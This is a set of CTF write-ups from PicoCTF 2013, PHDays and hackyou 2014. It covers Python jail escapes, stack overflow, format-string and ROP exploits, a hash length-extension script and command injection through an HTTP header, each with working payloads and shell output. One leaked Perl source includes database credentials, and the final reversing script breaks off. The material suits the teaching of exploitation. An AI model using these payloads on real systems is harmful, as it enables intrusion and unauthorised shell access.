# PicoCTF 2k13 - Evergreen


$ decompile('HexGame.class')
private long[] serializedState() {
 long s[] = new long[4];
 int bit = 0;
 Hexagon ahexagon[][];
 int j = (ahexagon = board).length;
 for(int i = 0; i < j; i++) {
  Hexagon row[] = ahexagon[i];
  Hexagon ahexagon1[];
  int l = (ahexagon1 = row).length;
  for(int k = 0; k < l; k++) {
   Hexagon hex = ahexagon1[k];
   if(hex != null) {
    if(hex.team == 0)
     s[(bit + 1) / 64] |= 1L << (bit + 1) % 64;
    else if(hex.team == 1)
     s[bit / 64] |= 1L << bit % 64; bit += 2;
   }
  }
 }
 return s;
}
private string stateString() {
 string s = "";
 Hexagon ahexagon[][];
 int j = (ahexagon = board).length;
 for(int i = 0; i < j; i++) {
  Hexagon row[] = ahexagon[i];
  Hexagon ahexagon1[];
  int l = (ahexagon1 = row).length;
  for(int k = 0; k < l; k++) {
   Hexagon hex = ahexagon1[k];
   if(hex != null)
    if(hex.team == 0)
     s = (new StringBuilder(string.valueOf(s))).append("1").toString();
    else if(hex.team == 1)
     s = (new StringBuilder(string.valueOf(s))).append("2").toString();
    else
     s = (new StringBuilder(string.valueOf(s))).append("0").toString();
  }
 }
 return s;
}
public void update() {
 Hexagon ahexagon[][];
 int j = (ahexagon = board).length;
 for(int i = 0; i < j; i++) {
  Hexagon row[] = ahexagon[i];
  Hexagon ahexagon1[];
  int l = (ahexagon1 = row).length;
  for(int k = 0; k < l; k++) {
   Hexagon hex = ahexagon1[k];
   if(hex != null && wasCaptured(hex) && hex.team != -1)
    handleCaptured(hex);
  }
 }
 if(justCaptured && !draft.alwaysPlaceAfterCapture)
  justCaptured = rand.nextBoolean();
 if(draft.hasLimitedPieces() && numPieces[currTeam] <= 0)
  justCaptured = false;
 long s[] = serializedState();
 if(s[0] == 0x60a0495842121146L && s[1] == 0x8024120912018061L && s[2] == 0x8824421240220921L && s[3] == 0x1211880604501801L) {
  system.out.println("Success! Your key is on the next line.");
  system.out.println(stateString());
 }
}
$ cat evergreen.py
#!/usr/bin/python

def init(num):
 num = bin(num)[2:]
 i = len(num)
 while i < 64:
  num = '0' + num
  i += 1
 return num

def reverse(num):
 if num == '10':
  return '1'
 elif num == '01':
  return '2'
 else:
  return '0'

s0 = init(0x60a0495842121146L)
s1 = init(0x8024120912018061L)
s2 = init(0x8824421240220921L)
s3 = init(0x1211880604501801L)

s = s3 + s2 + s1 + s0
l = len(s)
result = ''

for i in xrange(0,l-2,2):
 result += reverse(s[l-2-i] + s[l-1-i])

print result
$ ./evergreen.py
1202202010201002012221020011001220120001200010202100102002100001201021001010000210201002021001012000012000220200120001012020102

# PicoCTF 2k13 - Python Eval 3


$ cat task3.py
#!/usr/bin/python -u
# task3.py
# Remember kids: this is bad code. Try not code like this :P

from os import path
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['reload']

print "Welcome to the food menu!"
choices = (
  ("Chicken Asada Burrito", 7.69, "caburrito.txt"),
  ("Beef Chow Mein", 6.69, "beefchow.txt"),
  ("MeatBurger Deluxe", 10.49, "no description"),
  # ...
)

def print_description(n):
  print ""
  if n >= len(choices):
    print "No such item!"
  elif not path.exists(choices[n][2]):
    print "No description yet, but we promise it's tasty!"
  else:
    print open(choices[n][2]).read()

def show_menu():
  for i in xrange(len(choices)):
    print "[% 2d] $% 3.2f %s" % (i, choices[i][1], choices[i][0])

while True:
  print "Which description do you want to read?"
  show_menu()
  print_description(input('> '))
$ nc python.picoctf.com 6363
Welcome to the food menu!
Which description do you want to read?
[ 0] $ 7.69 Chicken Asada Burrito
[ 1] $ 6.69 Beef Chow Mein
[ 2] $ 10.49 MeatBurger Deluxe
> path.warnings.catch_warnings.__init__.func_globals['linecache'].__dict__['os'].system('/bin/sh')
> path.os.execlp('sh','')
id
uid=1004(py3) gid=1005(py3) groups=1005(py3)
ls
run.sh
task3.py
your_flag_here
cat your_flag_here
eval_is_super_OSsome

# PicoCTF 2k13 - Overflow 2


$ cat stack_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

void vuln(int win, char *str) {
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &win);
    printf("win = %d\n", win);
    if (win == 1) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: stack_overwrite [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(0, argv[1]);
    return 0;
}
$ ./stack_overwrite `python -c 'print "\x90"*80 + "\x01"'`
Stack dump:
0xffffd618: 0x00001f4d
0xffffd614: 0xffffd802 (second argument)
0xffffd610: 0x00000001 (first argument)
0xffffd60c: 0x90909090 (saved eip)
0xffffd608: 0x90909090 (saved ebp)
0xffffd604: 0x90909090
0xffffd600: 0x90909090
0xffffd5fc: 0x90909090
0xffffd5f8: 0x90909090
0xffffd5f4: 0x90909090
0xffffd5f0: 0x90909090
0xffffd5ec: 0x90909090
0xffffd5e8: 0x90909090
0xffffd5e4: 0x90909090
0xffffd5e0: 0x90909090
0xffffd5dc: 0x90909090
0xffffd5d8: 0x90909090
0xffffd5d4: 0x90909090
0xffffd5d0: 0x90909090
0xffffd5cc: 0x90909090
0xffffd5c8: 0x90909090
0xffffd5c4: 0x90909090
0xffffd5c0: 0x90909090 (beginning of buffer)
win = 1
sh-4.2$ cat key
this_is_why_i_store_everything_on_the_heap

# PicoCTF 2k13 - Format 1


$ cat format1.c
#undef _FORTIFY_SOURCE
#include 
#include 
#include 

int x = 3;

void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

int main(int argc, const char **argv) {
    be_nice_to_people();
    char buf[80];
    bzero(buf, sizeof(buf));
    int k = read(STDIN_FILENO, buf, 80);
    printf(buf);
    printf("%d!\n", x);
    if (x == 4) {
        printf("running sh...\n");
        system("/bin/sh");
    }
    return 0;
}
$ (python -c 'print "\x2c\xa0\x04\x08%11$n"'; cat) | ./format1
$ (python -c 'print "\x2b\xa0\x04\x08" + "%x"*9 + "%.976x%n"'; cat) | ./format1
+�ffffd62c50f7ff249cffffd6c4f7fdb0000ffffd72480482e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001f
4!
running sh...
cat key
now_youre_thinking_with_printf

# PicoCTF 2k13 - Chromatophoria


In [1]: import Image
In [2]: import binascii
In [3]: png = Image.open('steg.png')
In [4]: pix = png.load()
In [5]: png.size
Out[5]: (800, 600)
In [6]: for i in xrange (0,800):
    print '%02x%02x%02x' % (pix[i,0][0],pix[i,0][1],pix[i,0][2]),
In [7]: for i in xrange (0,800):
    print '%02x%02x%02x' % (pix[i,1][0],pix[i,1][1],pix[i,1][2]),
In [8]: string = ''
In [9]: for i in xrange (0,800):
    r,g,b = pix[i,0]
    r -= 254
    g -= 254
    b -= 254
    string += str(r) + str(g) + str(b)
   ...:
In [10]: binascii.unhexlify('%x' % int(string,2))
Out[10]: 'Hey I think we can write safely in this file withou anyone seeing it. Anyway, the secret key is: st3g0_saurus_wr3cks\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

# PicoCTF 2k13 - ROP 1


$ cat rop1.c
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int not_called() {
        return system("/bin/bash");
}

void vulnerable_function() {
        char buf[128];
        read(STDIN_FILENO, buf, 256);
}

void be_nice_to_people() {
        // /bin/sh is usually symlinked to bash, which usually drops privs. Make
        // sure we don't drop privs if we exec bash, (ie if we call system()).
        gid_t gid = getegid();
        setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people();
        vulnerable_function();
        write(STDOUT_FILENO, "Hello, World\n", 13);
}
$ (python -c 'print "\x90"*140 + "\xa4\x84\x04\x08"'; cat) | ./rop1
cat key
rops_on_rops_on_rops

# PicoCTF 2k13 - Overflow 1


$ cat simple_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include "dump_stack.h"

void vuln(int tmp, char *str) {
    int win = tmp;
    char buf[64];
    strcpy(buf, str);
    dump_stack((void **) buf, 23, (void **) &tmp);
    printf("win = %d\n", win);
    if (win == 1) {
        execl("/bin/sh", "sh", NULL);
    } else {
        printf("Sorry, you lose.\n");
    }
    exit(0);
}

int main(int argc, char **argv) {
    if (argc != 2) {
        printf("Usage: stack_overwrite [str]\n");
        return 1;
    }

    uid_t euid = geteuid();
    setresuid(euid, euid, euid);
    vuln(0, argv[1]);
    return 0;
}
$ ./simple_overwrite `python -c 'print "\x90"*64 + "\x01"'`
Stack dump:
0xffffd614: 0xffffd80f (second argument)
0xffffd610: 0x00000000 (first argument)
0xffffd60c: 0x0804870f (saved eip)
0xffffd608: 0xffffd638 (saved ebp)
0xffffd604: 0xf7fcbff4
0xffffd600: 0x00001f4d
0xffffd5fc: 0x00000001
0xffffd5f8: 0x90909090
0xffffd5f4: 0x90909090
0xffffd5f0: 0x90909090
0xffffd5ec: 0x90909090
0xffffd5e8: 0x90909090
0xffffd5e4: 0x90909090
0xffffd5e0: 0x90909090
0xffffd5dc: 0x90909090
0xffffd5d8: 0x90909090
0xffffd5d4: 0x90909090
0xffffd5d0: 0x90909090
0xffffd5cc: 0x90909090
0xffffd5c8: 0x90909090
0xffffd5c4: 0x90909090
0xffffd5c0: 0x90909090
0xffffd5bc: 0x90909090 (beginning of buffer)
win = 1
sh-4.2$ cat key
overflow_is_best_flow

# PHDays CTF Quals 2k14 - Mp3 me (1400 points)


# hexdump -C ../123.mp3 | head -n 13
00000000  49 44 33 04 00 00 00 00  1f 76 54 52 43 4b 00 00  |ID3......vTRCK..|
00000010  00 09 00 00 01 ff fe 30  00 31 00 00 00 52 47 42  |.......0.1...RGB|
00000020  37 00 00 00 0d 00 00 03  35 2c 31 38 33 2c 20 4e  |7.......5,183, N|
00000030  55 4c 4c 00 52 47 42 36  00 00 00 0a 00 00 03 30  |ULL.RGB6.......0|
00000040  2c 34 32 2c 31 35 39 00  52 47 42 35 00 00 00 0c  |,42,159.RGB5....|
00000050  00 00 03 31 39 34 2c 32  34 34 2c 36 38 00 52 47  |...194,244,68.RG|
00000060  42 34 00 00 00 09 00 00  03 34 37 2c 37 37 2c 36  |B4.......47,77,6|
00000070  00 52 47 42 33 00 00 00  0b 00 00 03 34 34 2c 37  |.RGB3.......44,7|
00000080  33 2c 31 34 31 00 52 47  42 32 00 00 00 0c 00 00  |3,141.RGB2......|
00000090  03 31 34 30 2c 32 30 37  2c 37 32 00 52 47 42 31  |.140,207,72.RGB1|
000000a0  00 00 00 0d 00 00 03 31  32 30 2c 31 35 36 2c 32  |.......120,156,2|
000000b0  30 33 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |03..............|
000000c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|
# cat mp3me.py
#!/usr/bin/python

from zlib import decompress

list = [120, 156, 203, 140, 207, 72, 44, 73, 141, 47, 77, 6, 194, 244, 68, 0, 42, 159, 5, 183]
code = ''

for byte in list:
 code += '%02x' % byte

print decompress(code.decode('hex'))
# ./mp3me.py
i_hate_ucucuga
References

http://en.wikipedia.org/wiki/ID3
http://www.ietf.org/rfc/rfc1950.txt

# PHDays CTF Quals 2k14 - Yet Another Pyjail (3900 points)


# cat jail.py
import re
import sys
import string
from sys import stdout
sys.stderr = stdout

sanitize = re.compile(
    r'(?:__|import|globals|locals|exec|eval|join|format|replace|translate|try|except|with|content|frame|back)'
    ).sub

trusted_builtins = """
    True False type int
    """.split()

alphabet = ' \n\r0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ(),.:;<=>[]_{}'

t1 = ''.join(chr(code) for code in xrange(256))
t2 = []
for i in t1:
    if i in alphabet:
        t2.append(i)
    else:
        t2.append(' ')
trans_table = string.maketrans(t1, ''.join(t2))

EXPECTED = 13.37

del alphabet, t1, t2, i, sys, string, re

def clear_builtins():
    orig = __builtins__.__dict__.copy()
    __builtins__.__dict__.clear()
    for i in trusted_builtins:
        __builtins__.__dict__[i] = orig[i]

part1_of_flag = '7hE_0w15_4R3_n07_wh47_7h3Y_533m-'
part2_of_flag = '-7hEr3_15_4_m4n_1n_a_5m111n9_649'
egg = 'egg'

def main():

    if raw_input() != 'leetleetleetleet':
        return

    print ('Welcome to pyjail!\n\n'
           'Try to get the flag!\n'
           'Use ctrl+D or --- to submit your code\n')

    stdout.flush()

    code = []
    total_bytes = 0
    while True:
        try:
            value = raw_input()
            total_bytes += len(value)
            assert total_bytes < 1337
            if value == '---':
                break
            code.append(value)
        except EOFError:
            break

    code = sanitize("/*ERR*/", '\n'.join(code).translate(trans_table))
    clear_builtins()

    def sandbox():

        t=r=y = t=o = s=o=l=v=e = t=h=e = d=i=v=i=s=i=o=n = q=u=i=z = 0

        def exec_in_context(ctx):
            exec code in ctx
            print 'Flag is',
            try:
                assert FLAG != part1_of_flag
                print FLAG
            except:
                print '********************'

        def we_must_be_sure_flag_part1_is_ready():
            global FLAG
            FLAG = part1_of_flag

        def we_must_be_sure_flag_part2_is_ready():
            global FLAG
            FLAG += part2_of_flag

        def divider(v1):

            a = "You are lucky!"
            b = "Try again!"

            def divider(v2):
                i,t,s,  n,o,t,  s,o,  h,a,r,d
                if int(v1) / int(v2) == EXPECTED:
                    print a
                    we_must_be_sure_flag_part2_is_ready()
                else:
                    print b
            we_must_be_sure_flag_part1_is_ready()
            return divider

        exec_in_context({'div': divider})

    sandbox()

if __name__ == '__main__':
    main()
# python jail.py
leetleetleetleet
Welcome to pyjail!

Try to get the flag!
Use ctrl+D or --- to submit your code

f = div(1)
nf = type(div)(f.func_code, type({})(EXPECTED=1, int=type(1)), closure=f.func_closure)
nf(1)
---
You are lucky!
Flag is 7hE_0w15_4R3_n07_wh47_7h3Y_533m--7hEr3_15_4_m4n_1n_a_5m111n9_649
f = div(1337)
nf = type(div)(f.func_code, type({})(EXPECTED=13.37, int=type(1.)), closure=f.func_closure)
nf(100)
---
f = div(1)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: int, f.func_code.co_names[1]: 1}, closure=f.func_closure)
nf(1)
---
f = div(1337)
nf = type(div)(f.func_code, {f.func_code.co_names[0]: type(1.), f.func_code.co_names[1]: 13.37}, closure=f.func_closure)
nf(100)
---
#div.func_closure[8].cell_contents()
#div.func_closure[9].cell_contents()
#---
def get_cell_value(cell):
 return type(lambda: 0)(
  (lambda x: lambda: x)(0).func_code, {}, None, None, (cell,)
 )()
get_cell_value(div.func_closure[8])()
get_cell_value(div.func_closure[9])()
---

# hackyou 2k14: Crypto - Hashme (200 points)


# cat crypto-200.py
#!/usr/bin/python

from base64 import b64encode
from base64 import b64decode
from math import sin
from re import search as rs
from socket import AF_INET, SOCK_STREAM, socket

B = 4096

def xor(a, b):
 return ''.join(map(lambda x : chr(ord(x[0]) ^ ord(x[1])), zip(a, b * 100)))

def hashme(s, A, B, C, D, j):
 def F(X,Y,Z):
  return ((~X & Z) | (~X & Z)) & 0xFFFFFFFF
 def G(X,Y,Z):
  return ((X & Z) | (~Z & Y)) & 0xFFFFFFFF
 def H(X,Y,Z):
  return (X ^ Y ^ Y) & 0xFFFFFFFF
 def I(X,Y,Z):
  return (Y ^ (~Z | X)) & 0xFFFFFFFF
 def ROL(X,Y):
  return (X << Y | X >> (32 - Y)) & 0xFFFFFFFF

 X = [int(0xFFFFFFFF * sin(i)) & 0xFFFFFFFF for i in xrange(256)]

 for i,ch in enumerate(s):
  k, l = ord(ch), (i + j) & 0x1f
  A = (B + ROL(A + F(B,C,D) + X[k], l)) & 0xFFFFFFFF
  B = (C + ROL(B + G(C,D,A) + X[k], l)) & 0xFFFFFFFF
  C = (D + ROL(C + H(D,A,B) + X[k], l)) & 0xFFFFFFFF
  D = (A + ROL(D + I(A,B,C) + X[k], l)) & 0xFFFFFFFF

 return ''.join(map(lambda x : hex(x)[2:].strip('L').rjust(8, '0'), [B, A, D, C]))

def getcert(s):
 s.send('0\n')
 s.recv(B)
 s.send(login + '\n')
 resp = s.recv(B)
 pos = resp.find(':')
 return resp[pos+1:]

s = socket(AF_INET, SOCK_STREAM)
s.connect(('hackyou2014tasks.ctf.su', 7777))

login = 'a' * 100
for i in xrange(0,4):
 s.recv(B)
b64cert = getcert(s)
s.recv(B)
cert = b64decode(b64cert)
key = xor(cert, login).encode('hex')[12:]
search = key[0:4]
key = key[4:]
pos = key.find(search) - 12
first = key[pos:pos + 4]
last = key[pos - 4:pos]
key = key[pos:]
pos = key.find(last)
key = key[:pos + 4]

login = 'admin'
b64cert = getcert(s)
cert = xor(b64decode(b64cert), key.decode('hex'))
hash = cert[25:]
B = int(hash[0:8], 16)
A = int(hash[8:16], 16)
D = int(hash[16:24], 16)
C = int(hash[24:32], 16)

for j in xrange(0,32):
 res = s.recv(B)
 if res.find('CTF') != -1:
  print rs(r'CTF{.*}', res).group()
  break
 s.send('1\n')
 s.recv(B)
 h = hashme('&role=administrator', A, B, C, D, j)
 cert = b64encode(xor('login=' + login + '&role=anonymous&role=administrator' + h, key.decode('hex')))
 s.send(cert + '\n')
 s.recv(B)
s.close()
# ./crypto-200.py
CTF{40712b12d4be002e20f51424309a068c}

References

http://en.wikipedia.org/wiki/Length_extension_attack

# hackyou 2k14: Network - Jailbreaker (200 points)


There was a nice Christmas release from Evad3rs to jailbreak iOS 7, but it doesn't handle my Apple TV 3G!
Develop an Apple TV jailbreak real quick, and prove filesystem access by showing me any internal system binary from the latest firmware.

Send as attachment to net200@ctf.su
(and allow some time for manual check)

# wget http://appldnld.apple.com/iOS7/031-2705.20140120.R10Fe/com_apple_MobileAsset_SoftwareUpdate/3a1de804a6a9ef6d838654d27d3a8de36003773f.zip
# unzip 3a1de804a6a9ef6d838654d27d3a8de36003773f.zip
# find . -type f | grep replace
./payload/replace/private/etc/fstab
References

http://en.wikipedia.org/wiki/Delta_update
http://theiphonewiki.com/wiki/OTA_Updates

# hackyou 2k14: Web - Snake (200 points)


Using curl

# curl --silent --request POST --data 'login=web200&password=web200&submit=OK' http://hackyou2014tasks.ctf.su:20080/cgi-bin/register.pl
# curl --silent --cookie-jar web-200 --request POST --data 'login=web200&password=web200&submit=OK' http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl
# curl --silent --cookie web-200 --request GET http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=1.2.3.4
# curl --silent --cookie web-200 --request GET http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=../../index.pl
<!DOCTYPE html
 PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en-US" xml:lang="en-US">
<head>
<title>Personal Area</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
</head>
<body>
<p>Hello, web200!</p><table border="1"><tr><th>Date</th> <th>Score</th></tr>#!/usr/bin/perl
use CGI;
use CGI::Session;
use DBI;
use Digest::MD5;

sub MD5 {
 $h = Digest::MD5->new;
 $h->add($_[0]);
 return $h->hexdigest;
}

sub Main {
 $title = "Personal Area";
 $req = new CGI;
 $db = DBI->connect("dbi:mysql:snake", "daniel", "E9nENHbtkG");
 if ($req->param('submit')) {
  $login = $req->param('login');
  $password = MD5($req->param('password'));
  $sth = $db->prepare("SELECT * FROM users WHERE login = ? AND password = ?");
  $sth->execute($login, $password);
  if ($sth->fetchrow_array()) {
   $session = new CGI::Session();
   $session->param('login', $login);
   print $session->header(-location=>'index.pl');
  } else {
   print $req->header();
   print $req->start_html($title);
   print $req->h1('Wrong login/password!');
   print $req->end_html();
  }
  exit;
 }

 $session = CGI::Session->load();
 if ($req->param('act') eq 'logout') {
  $session->delete();
        print $session->header(-location=>'index.pl');
        exit;
 } 

 print $req->header();
 print $req->start_html($title);
 if ($session->is_empty) {
  print $req->b('Auth please');
  print $req->startform;
  print $req->textfield(-name=>'login');
  print $req->br;
  print $req->textfield(-name=>'password');
  print $req->br;
  print $req->submit(-name=>'submit', -value=>'OK', -action=>"index.pl", -method=>"POST");
  print $req->endform;
  print $req->a({href => 'register.pl'}, "Register");
 } else {
  $login = $session->param('login');
  print $req->p('Hello, '.$login.'!');
  if ($req->param('ip')) {
   $file = './data/'.MD5($login)."/".$req->param('ip');
   if (-e $file) {
    open FILE, $file;
    $html = '';
    while (<FILE>) {
     $html .= $_;
    }
    close(FILE);
    print $req->start_table({border=>1}); 
    print $req->Tr($req->th(['Date', 'Score']));
    print $html;
    print $req->end_table(); 
    print $req->a({href=>'index.pl'}, 'Back');   
   } else {
    print $req->h1('Error');
   }
  } else {
   print $req->p('Here you can view information about your games from any IP');
   opendir DIR, './data/'.MD5($login);
   print $req->start_table({border=>1});
   while ($file = readdir(DIR)) {
    if ($file =~ m/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) {
     print $req->Tr($req->td([$req->a({href => "index.pl?ip=".$file}, $file)]));
    }
   }
   print $req->end_table();
   print $req->br;
   print $req->a({href=>'index.pl?act=logout'}, 'Logout');
  }
 }
 print $req->end_html();
}

Main();
</table><a href="index.pl">Back</a>
</body>
</html>
# echo -n 'ls /' | xxd -p
6c73202f
# curl --silent --cookie web-200 --request POST --header 'X-Forwarded-For: |`echo -n 6c73202f | xxd -p -r`|' --data 'playerName=web200&playerScore=1&hash=a608555a0edc1aadefee6151550fa879' http://hackyou2014tasks.ctf.su:20080/cgi-bin/save.pl
# curl --silent --cookie web-200 --request GET 'http://hackyou2014tasks.ctf.su:20080/cgi-bin/index.pl?ip=|`echo+-n+6c73202f+|+xxd+-p+-r`|' | grep CTF
CTF{d96ddaa29b5374317ec635db93a9f656}
Using python

# cat web-200.py
#!/usr/bin/python

from re import search
from requests import get, post
from sys import exit

URL = 'http://hackyou2014tasks.ctf.su:20080'

def statusexit(r, point):
 if r.status_code != 200:
  print r.status_code, point
  exit()

values = {
 'login'   : 'web200',
 'password': 'web200',
 'submit'  : 'OK'
}

r = post(URL + '/cgi-bin/register.pl', data = values)
statusexit(r, 'register')

r = post(URL + '/cgi-bin/index.pl', data = values)
statusexit(r, 'login')
 
cgisessid = r.cookies['CGISESSID']
cookies = {
 'CGISESSID': cgisessid
}
r = get(URL + '/cgi-bin/index.pl?ip=10.0.2.15', cookies = cookies)
statusexit(r, 'score')

r = get(URL + '/cgi-bin/index.pl?ip=../../index.pl', cookies = cookies)
statusexit(r, 'source')
#print r.text

headers = {
 'X-Forwarded-For': '|`echo -n 6c73202f | xxd -p -r`|'
}
values = {
 'playerName' : 'web200',
 'playerScore': 'web200',
 'hash'       : 'a608555a0edc1aadefee6151550fa879'
}
r = post(URL + '/cgi-bin/save.pl', cookies = cookies, headers = headers, data = values)
statusexit(r, 'save')

r = get(URL + '/cgi-bin/index.pl?ip=|`echo+-n+6c73202f+|+xxd+-p+-r`|', cookies = cookies)
statusexit(r, 'read')
print search(r'CTF{.*}', r.text).group()
# ./web-200.py
CTF{d96ddaa29b5374317ec635db93a9f656}
References

http://en.wikipedia.org/wiki/X-Forwarded-For
http://en.wikipedia.org/wiki/Local_File_Inclusion
http://www.ccsf.edu/Pub/Perl/perlfunc/open.html

# hackyou 2k14: Reverse - Newbie calculations (200 points)


# cat rev200.py
#!/usr/bin/python

N = 32

def print_flag(flag):
        f = ''
        for i in xrange(N):
                f += chr(flag[i])
        return f

def add(a, b): #sub_401000
        return a + b

def mul(a, b): #sub_401100
        return a * b

def sub(a, b): #sub_401220
        return a - b

'''
for ( i = 0; i < 32; ++i )
v117[i] = 1;
'''
flag = []
for i in xrange(N):
        flag.append(1)

'''
v0 = sub_401100(v117, 1000000000);
v1 = sub_401220(v0, 999999950);
sub_401100(v1, 2);
'''
flag[0] = mul(sub(mul(flag[0], 1000000000), 999999950), 2)

'''
v2 = sub_401000(&v118, 5000000);
v3 = sub_401220(v2, 6666666);
v4 = sub_401000(v3, 1666666);
v5 = sub_401000(v4, 45);
v6 = sub_401100(v5, 2);
sub_401000(v6, 5);
'''
flag[1] = add(mul(add(add(sub(add(flag[1], 5000000), 6666666), 1666666), 45), 2), 5)

'''
v7 = sub_401100(&v119, 1000000000);
v8 = sub_401220(v7, 999999950);
v9 = sub_401100(v8, 2);
sub_401000(v9, 2);
'''
flag[2] = add(mul(sub(mul(flag[2], 1000000000), 999999950), 2),2)

'''
v10 = sub_401000(&v120, 55);
v11 = sub_401220(v10, 3);
v12 = sub_401000(v11, 4);
sub_401220(v12, 1);
'''
flag[3] = sub(add(sub(add(flag[3], 55), 3), 4), 1)

'''
v13 = sub_401100(&v121, 100000000);
v14 = sub_401220(v13, 99999950);
v15 = sub_401100(v14, 2);
sub_401000(v15, 2);
'''
flag[4] = add(mul(sub(mul(flag[4], 100000000), 99999950), 2), 2)

'''
v16 = sub_401220(&v122, 1);
v17 = sub_401100(v16, 1000000000);
v18 = sub_401000(v17, 55);
sub_401220(v18, 3);
'''
flag[5] = sub(add(mul(sub(flag[5], 1), 1000000000), 55), 3)

'''
v19 = sub_401100(&v123, 1000000);
v20 = sub_401220(v19, 999975);
sub_401100(v20, 4);
'''
flag[6] = mul(sub(mul(flag[6], 1000000), 999975), 4)

'''
v21 = sub_401000(&v124, 55);
v22 = sub_401220(v21, 33);
v23 = sub_401000(v22, 44);
sub_401220(v23, 11);
'''
flag[7] = sub(add(sub(add(flag[7], 55), 33), 44), 11)

'''
v24 = sub_401100(&v125, 10);
v25 = sub_401220(v24, 5);
v26 = sub_401100(v25, 8);
sub_401000(v26, 9);
'''
flag[8] = add(mul(sub(mul(flag[8], 10), 5), 8), 9)

'''
v27 = sub_401000(&v126, 0);
v28 = sub_401220(v27, 0);
v29 = sub_401000(v28, 11);
v30 = sub_401220(v29, 11);
sub_401000(v30, 53);
'''
flag[9] = add(flag[9], 53)

'''
v31 = sub_401000(&v127, 49);
v32 = sub_401220(v31, 2);
v33 = sub_401000(v32, 4);
sub_401220(v33, 2);
'''
flag[10] = add(flag[10], 49)

'''
v34 = sub_401100(&v128, 1000000);
v35 = sub_401220(v34, 999999);
v36 = sub_401100(v35, 4);
sub_401000(v36, 50);
'''
flag[11] = add(mul(sub(mul(flag[11], 1000000), 999999), 4), 50)

'''
v37 = sub_401000(&v129, 1);
v38 = sub_401000(v37, 1);
v39 = sub_401000(v38, 1);
v40 = sub_401000(v39, 1);
v41 = sub_401000(v40, 1);
v42 = sub_401000(v41, 1);
v43 = sub_401000(v42, 10);
sub_401000(v43, 32);
'''
flag[12] = add(flag[12], 48)

'''
v44 = sub_401100(&v130, 10);
v45 = sub_401220(v44, 5);
v46 = sub_401100(v45, 8);
v47 = sub_401000(v46, 9);
sub_401000(v47, 48);
'''
flag[13] = add(add(mul(sub(mul(flag[13], 10), 5), 8), 9), 48)

'''
v48 = sub_401220(&v131, 1);
v49 = sub_401100(v48, -294967296);
v50 = sub_401000(v49, 55);
sub_401220(v50, 3);
'''
flag[14] = sub(add(mul(sub(flag[14], 1), -294967296), 55), 3)

'''
v51 = sub_401000(&v132, 1);
v52 = sub_401000(v51, 2);
v53 = sub_401000(v52, 3);
v54 = sub_401000(v53, 4);
v55 = sub_401000(v54, 5);
v56 = sub_401000(v55, 6);
v57 = sub_401000(v56, 7);
sub_401000(v57, 20);
'''
flag[15] = add(flag[15], 48)

'''
v58 = sub_401100(&v133, 10);
v59 = sub_401220(v58, 5);
v60 = sub_401100(v59, 8);
v61 = sub_401000(v60, 9);
sub_401000(v61, 48);
'''
flag[16] = add(add(mul(sub(mul(flag[16], 10), 5), 8), 9), 48)

'''
v62 = sub_401000(&v134, 7);
v63 = sub_401000(v62, 6);
v64 = sub_401000(v63, 5);
v65 = sub_401000(v64, 4);
v66 = sub_401000(v65, 3);
v67 = sub_401000(v66, 2);
v68 = sub_401000(v67, 1);
sub_401000(v68, 20);
'''
